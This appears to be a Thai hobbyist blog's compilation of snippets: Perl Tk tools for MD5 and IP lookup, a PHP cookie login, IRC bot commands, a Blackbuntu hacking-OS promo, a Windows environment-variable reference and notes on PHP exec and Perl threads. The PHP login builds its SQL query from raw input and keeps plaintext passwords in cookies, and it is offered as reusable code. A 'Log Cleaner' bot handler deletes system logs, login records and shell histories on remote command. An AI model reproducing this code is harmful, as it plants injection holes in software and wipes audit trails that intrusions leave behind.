[Perl] Encode & Decode MD5 : GUI

เป็นโปรแกรม Perl ตัวแรกนะครับที่ผมเขียนเป็นแบบ GUI ถ้าผิดพลาดประการใดก็ขออภัยด้วยครับ (-/\-)
ปล. ด้านล่างไม่ใช่รูปของโปรแกรมนี้นะครับ ส่วนของโปรแกรมนี้มีแค่ En&De md5 แค่นั้น 55 ^^"


#!/usr/bin/perl -w
#########################################################################
# ░░░░░░░░░░░░░░░░░░░░░░░░░░ Copyright (c) 2012 by sornram9254.com
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ███████░░░░░██████░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
use Tk;
use LWP;
use Digest::MD5 qw(md5_hex);
$mw = new MainWindow; $mw->geometry('300x150'); $mw->title("Perl GUI");

########## Encode MD5 ##########
$en_md5 = $mw->Label(-text => “Encode MD5”)->pack;
$mw -> Entry(-textvariable => \$put_en_md5) -> pack;
$mw->Button(-text => “Gen”, -command => \&en_md5 )->pack;

sub en_md5 {
my $md5_hash = $put_en_md5;
my $md5_generated = md5_hex($md5_hash);
print “Encode MD5 : Result => $md5_generated\n”;
########## Create New Form ##########
$mw = new MainWindow; $mw->geometry(‘350×70’); $mw->title(“Encode MD5 : Result”);
$mw->Label(-text => “$put_en_md5”)->pack;
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => $md5_generated) -> pack (-ipadx => 60,-ipady => 5);
}
########## Decode MD5 ##########
$de_md5 = $mw->Label(-text => “Decode MD5”)->pack;
$mw -> Entry(-textvariable => \$put_de_md5) -> pack;
$mw->Button(-text => “Gen”, -command => \&de_md5 )->pack;

sub de_md5 {
my $md5 = $put_de_md5;
$lwp = LWP::UserAgent->new;
$lwa = $lwp->get(‘http://md5.rednoize.com/?p&s=md5&q=’.$md5);
$hash = $lwa->content;
print “Decode MD5 : Result => $hash\n”;
########## Create New Form ##########
$mw = new MainWindow; $mw->geometry(‘350×70’); $mw->title(“Decode MD5 : Result”);
$mw->Label(-text => “$put_de_md5”)->pack;
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => $hash) -> pack (-ipadx => 60,-ipady => 5);
}
MainLoop;

[Perl] IP Information : GUI

SS :


#!/usr//bin/perl
#########################################################################
# ░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░ Copyright (c) 2012 by sornram9254.com
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ██████▄▄█░░░░░██████▄░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
use Tk;
use LWP::Simple;
$mw = new MainWindow; $mw->title("Perl GUI :)"); $mw->geometry('200x70');
$mw->Label(-text => "IP Information")->pack;
$mw->Button(-text => "Check", -command => \&get_ip )->pack(-ipadx => 40,-ipady => 5);
sub get_ip {
my $ua = LWP::UserAgent->new();
my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp');
my $found = $contents->content;
while( $found =~ m/Your IP Address: (.*?)<\/span>/g ) {
$ip=$1;
print "IP : $1 \n";
$mw = new MainWindow; $mw->geometry('400x200'); $mw->title("Check IP : Result");
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => "IP => $1") -> pack (-ipadx => 100,-ipady => 5);
#------------------------------------------------------------------------------------------------------------------------------------------
my $content = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip)->content;
my ($isp) = ($content =~ m/ISP<\/td>(.*?) <\/b>/g);
print "ISP : $1 \n";
my ($city) = ($content =~ m/City<\/td>(.*?)<\/b>/g);
print "City : $1 \n";
my ($state) = ($content =~ m/State or Region<\/td>(.*?)<\/b>/g);
print "State or Region : $1 \n";
my ($country) = ($content =~ m/Country<\/td>(.*?)<\/b>/g);
print "Country : $1 \n";
my ($la1,$la2) = ($content =~ m/Latitude & Longitude<\/td>(.*?)  (.*?)<\/b>/g);
print "Latitude : $1 .::.::. Longitude : $2 \n";
my $ent = $frm_name -> Entry(-text => "ISP => $isp") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "City => $city") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "State or Region => $state") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "Country => $country") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "Latitude => $la1 .::. Longitude => $la2") -> pack (-ipadx => 100,-ipady => 5);
#------------------------------------------------------------------------------------------------------------------------------------------
}
}
MainLoop;

cookie + mysql [PHP]


<?
ob_start();
require_once "config.php";
//เริ่มติดต่อฐานข้อมูล
mysql_connect($host, $db_username, $db_password) or die("ติดต่อฐานข้อมูลไม่ได้");
// เลือกฐานข้อมูล
mysql_select_db($dbname) or die("เลือกฐานข้อมูลไม่ได้");
// คำสั่ง SQL และสั่งให้ทำงาน
$sql = "select * from tb_member where user_log='$username_log' and pass_log='$password_log'"; //เช็คค่าข้อมูลที่ส่งมาจากฟอร์ม
$dbquery = mysql_db_query($dbname, $sql);
// หาจำนวนเรกคอร์ดข้อมูล
$num_rows = mysql_num_rows($dbquery);
if($num_rows == 1) {
if($chk == "on") { // ถ้าติ๊กถูก Login ตลอดไป ให้ทำการสร้าง cookie
setcookie("username_log",$username_log,time()+3600*24*356);
setcookie("password_log",$password_log,time()+3600*24*356);
header("location:hxxp://vvv.webthaidd.com"); //ไปไปตามหน้าที่คุณต้องการ
} else {
header("location:hxxp://vvv.webthaidd.com"); //ไปไปตามหน้าที่คุณต้องการ
}
} else {
header("location: form_login.php"); //ไม่ถูกต้องให้กับไปหน้าเดิม
}
?>

#webthaidd

Fix Error Mounting [linux]

Fix Error Mounting [linux]



sudo ntfsfix /dev/sda?

Clear Temp [ Bot IRC with Perl ]


if ($svrmsg=~/cleartmp/) {
system 'RMDIR /S /Q %TMP%';
print $connect "PRIVMSG ",$channel," :Temp File is Cleaned\r\n";
}

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

if ($funcarg =~ /^logcleaner/) {
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : This process can be long, just wait\r\n";
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : All D3fault log erased\r\n";
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Erasing the machine log files\r\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Done! All logs erased\r\n";
}

!BlackBunTu! อีกหนึ่ง OS ที่พัฒนามาจาก Linux และรวม Hacl Tools นับ 300+

Blackbuntu Ultimate OS for Hacking

จุดมุ่งหมายของ Blackbuntu คือ นำเสนอความรู้ ข้อมูล ข่าวสารด้าน Information Security และการใช้งาน Blackbuntu ในแง่มุมของการทำ Penetration Testing หรือ Security Audit และเป็นอีกหนึ่งทางเลือกสำหรับผู้ใช้งาน Linux ในการทำ Penetration Testing
และเป้าหมายจอง มันกะคือ >> แข่งกับ backtrack
<จุดเด่นหลักๆที่น่าใช้มันนะครับ >
1.ง่ายสำหรับผู้เริ่มต้น(ถ้าเคยใช้ Ubuntu อยู่แล้วสามารถใช้เจ้าตัวนี้ได้เลย)
2.Environment สดใหม่เพราะ based on Ubuntu 10.10
3.Support ภาษาไทย 100%
4.มี tool ต่างๆมากมาย(เพิ่มขึ้นเรื่อยๆใน version ต่อๆไปมากกว่าหรือเท่ากับ backtrack)
5.สามารถนำไปใช้งานทั่วไปแทน OS หลักได้ทันที

Video

ที่มา : thaishadow.com/board/index.php?topic=3594.0

Windows Environment Variables

Windows Environment Variables

Environment variables are mainly used within batch files, they can be created, modified and deleted using the SET command.

Variables can be displayed using either SET or ECHO.

Variables have a percent sign on both sides: %ThisIsAVariable%
The variable name can include spaces, punctuation and mixed case: %_Another Ex.ample%
(This is unlike Parameter variables which only have one % sign and are always one character long: %A )

In a batch file the default behaviour is to read and expand variables one line at a time, for example:

 SET /P _price=”Enter the price: ”
ECHO %_price%

The above will work, but the version below will fail because %_price% will remain undefined until processing reaches the next line, this behaviour can be changed using SETLOCAL EnableDelayedExpansion

 SET /P _price=”Enter the price: ” & ECHO %_price%
ECHO That didnt work!

Standard (built-in) Environment Variables

Variable Default value:
Windows XP
Default value:
Windows 7/2008
%ALLUSERSPROFILE% C:\Documents and Settings\All Users C:\ProgramData
%APPDATA% C:\Documents and Settings\{username}\Application Data C:\Users\{username}\AppData\Roaming
%CommonProgramFiles% C:\Program Files\Common Files C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)% C:\Program Files (x86)\Common Files C:\Program Files (x86)\Common Files
%COMPUTERNAME% {computername} {computername}
%COMSPEC% C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe
%HOMEDRIVE% C: C:
%HOMEPATH% \Documents and Settings\{username} \Users\{username}
%LOCALAPPDATA%

N/A

(but can be manually addedLOCALAPPDATA=%USERPROFILE%\Local Settings\Application Data)

C:\Users\{username}\AppData\Local
%LOGONSERVER% \\{domain_logon_server} \\{domain_logon_server}
%PATH% C:\Windows\System32\;C:\Windows\;C:\Windows\System32\Wbem;{plus program paths} C:\Windows\System32\;C:\Windows\;C:\Windows\System32\Wbem;{plus program paths}
%PATHEXT% .COM; .EXE; .BAT; .CMD; .VBS; .VBE; .JS ; .WSF; .WSH; .COM; .EXE; .BAT; .CMD; .VBS; .VBE; .JS ; .WSF; .WSH; .MSC
%ProgramData% N/A C:\ProgramData
%ProgramFiles% C:\Program Files C:\Program Files
%ProgramFiles(x86)% 1 C:\Program Files (x86) C:\Program Files (x86)
%PROMPT% Code for current command prompt format,usually $P$G
C :>
Code for current command prompt format,usually $P$G
C :>
%PSModulePath% N/A %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
%Public% N/A C:\Users\Public
%SYSTEMDRIVE% C: C:
%SYSTEMROOT% C:\Windows C:\Windows
%TEMP% and %TMP% C:\Documents and Settings\{username}\Local Settings\Temp C:\Users\{Username}\AppData\Local\Temp
%USERDOMAIN% {userdomain} {userdomain}
%USERNAME% {username} {username}
%USERPROFILE% %SystemDrive%\Documents and Settings\{username} %SystemDrive%\Users\{username}
%WINDIR% C:\Windows C:\Windows

1 Only on 64 bit systems, is used to store 32 bit programs.

By default, files stored under Local Settings do not roam with a roaming profile.

%ERRORLEVEL% is a dynamic variable that is automatically set when a program exits.

Dynamic Variables

There are also 6 dynamic environment variables, these are computed each time the variable is expanded.
n.b. you should not attempt to directly SET a dynamic variable.

%CD% – The current directory (string).

%DATE% – The current date using same region specific format as DATE.

%TIME% – The current time using same format as TIME.

%RANDOM% – A random decimal number between 0 and 32767.

%CMDEXTVERSION% – The current Command Processor Extensions version number.

%CMDCMDLINE%
 – The original command line that invoked the Command Processor.

Pass a variable from one batch script to another

Where one batch script CALLs another it is recommended that you SETLOCAL in both scripts to prevent any possible naming conflicts, so each script should start with:
@ECHO OFF
SETLOCAL

Then to pass a value back to the original calling script, finish the script with a line like:

ENDLOCAL & SET _output=%_variable%

In the line above %_variable% is a local variable used and visible within just that one batch script
%_output% is an output variable that is passed back to the original calling script

“Men may be convinced, but they cannot be pleased against their will. But though taste is obstinate, it is very variable, and time often prevails when arguments have failed” – Samuel Johnson

Related:

CALL – Evaluate environment variables
SET – Display, set, or remove variables
Q100843 – The four types of environment variable
Q286705 – Set compatibility variables
Q242557 – Registry Settings for Folder Redirection
Managing Roaming User Data Deployment Guide – Microsoft.com (Word Doc)

ที่มา : http://ss64.com

http://ss64.com

ข้อแตกต่างระหว่าง exec, shell_exec, system และ passthru

ข้อแตกต่างระหว่าง exec, shell_exec, system และ passthru


คำสั่ง exec(), shell_exec(), system() และ passthru() ของ PHP ทำหน้าที่ในการสั่งให้โปรแกรมภายนอก ทำงานได้เหมือนๆกัน แต่ข้อแตกต่างของแต่ละคำสั่งมีอยู่เล็กน้อยครับ

exec(): ประมวลผลคำสั่งและส่งกลับข้อความเฉพาะบรรทัดสุดท้าย ที่เป็นผลลัพท์จากแอพพลิเคชั่นที่เรียกใช้ในรูปแบบข้อความ
shell_exec(): ประมวลผลคำสั่งและส่งกลับข้อความทั้งหมด ที่เป็นผลลัพท์จากแอพพลิเคชั่นที่เรียกใช้ในรูปแบบข้อความ ยกตัวอย่างเช่น การเรียกใช้โปรแกรมภายนอก เพื่ออ่านไฟล์ข้อมูล ที่ PHP ไม่รองรับเป็นต้น
system(): ประมวลผลคำสั่งและส่งกลับข้อความเฉพาะบรรทัดสุดท้าย ที่เป็นผลลัพท์จากแอพพลิเคชั่นที่เรียกใช้ในรูปแบบข้อความ และ พยายามจะล้างข้อมูลที่ส่งกลับ หลังจากส่งค่ากลับเรียบร้อยแล้วในแต่ละบรรทัด
passthru(): ฟังก์ชั่นนี้จะทำงานคล้ายๆกับ exec() ต่างกันที่จะไม่ส่งค่ากลับมายัง output แต่จะส่งข้อมูลกลับไปยัง Browser โดยตรงในรูปแบบไบนารี่ ซึ่งเราสามารถใช้ประโยชน์ได้เช่น การเรียกใช้โปรแกรมภายนอกเพื่อสร้างรูปภาพ และโปรแกรมส่งกลับรูปภาพเพื่อแสดงผลบน Browser ได้โดยตรง

ข้อมูลที่ละเอียกว่านี้ผมแนะนำให้อ่านที่เว็บของ PHP นะครับและโดยทั่วไปแล้ว Server มักปิดการใช้งานฟังก์ชั่นในกลุ่มนี้ เนื่องจากฟังก์ชั่นเหล่านี้สามารถประมวลผลไฟล์ที่อาจก่อให้เกิดปัญหากับ Server ได้อย่างร้ายแรง

คุณสามารถดูว่าฟังก์ชั่นเหล่านี้ถูกปิดการทำงานหรือไม่ โดยดูที่ disable_functions ใน phpinfo() ครับ

ที่มา : goragod.com

Threads in Perl. แยก Process ทำงานด้วย Threads.

Threads in Perl. แยก Process ทำงานด้วย Threads.

Threads คืออะไร ตามที่ผมเข้าใจ เจ้าตัว Threads เนี่ย มันคือการแตก process แยกกันทำงานในแต่ละคำสั่ง ที่ได้รับมาครับ ซึ่งจะทำให้โปรแกรมที่เราเขียนเพื่อรันหลายคำสั่งในเวลาเดียวกัน ทำงานได้รวดเร็วยิ่งขึ้นเพราะมีการแยก process กันทำงานตามที่ผมบอกไปด้านบนครับ มาดูตัวอย่างการสร้าง Threads ทำงานกันง่ายๆ ใน Perl ก็มีโมดูลที่เรียกใ้ช้ Threads ได้เช่นกันโดยใช้ use Threads;


use Threads;

while(1){
print ‘Command : ‘;
chomp($command=);
$threads = threads->create(\&cmd,$command); // ใช้ Threads
#&cmd($command); // ไม่ได้ใช้ Threads
sub cmd{
my @value = qx($command);
foreach(@value){
print $_;
}
}
}

จากโค้ดคือส่วนที่สั่ง control cmd.exe เหมือนที่เราพิมพ์ใน cmd บนวินโดวส์นั่นเอง.. แบบแรกที่ไม่ใช่ threads ผมลองเิปิด notepad.exe อันแรก จะเิปิดได้ แต่เปิดอันที่สองจะเปิดไ่ม่ได้ครับ เพราะมันต้องรอ process ที่เปิด notepad.exe อันแรกทำงานเสร็จก่อน (นั้นคือปิดโปรแกรมนั่นเอง)

คราวนี้ผมลองเขียนแบบใช้ threads ดูสามารถเปิดได้หลายๆอัน คือทำได้หลาย process นั่นเองครับ รูปแบบการสร้าง threads ก็จะเป็นแบบ $ตัวแปร = threads->create(\&sub,$para1); คือส่ง parameter เข้าไปใน sub เพื่อให้ทำงานนั่นเองครับ ลองนำไปประยุกต์ใช้กันดูนะครับ..

ขอจบบทความเพียงเท่านี้ครับ ,, ICheer_No0M

ที่มา : icheernoom.blogspot.com/2011/12/threads-in-perl.html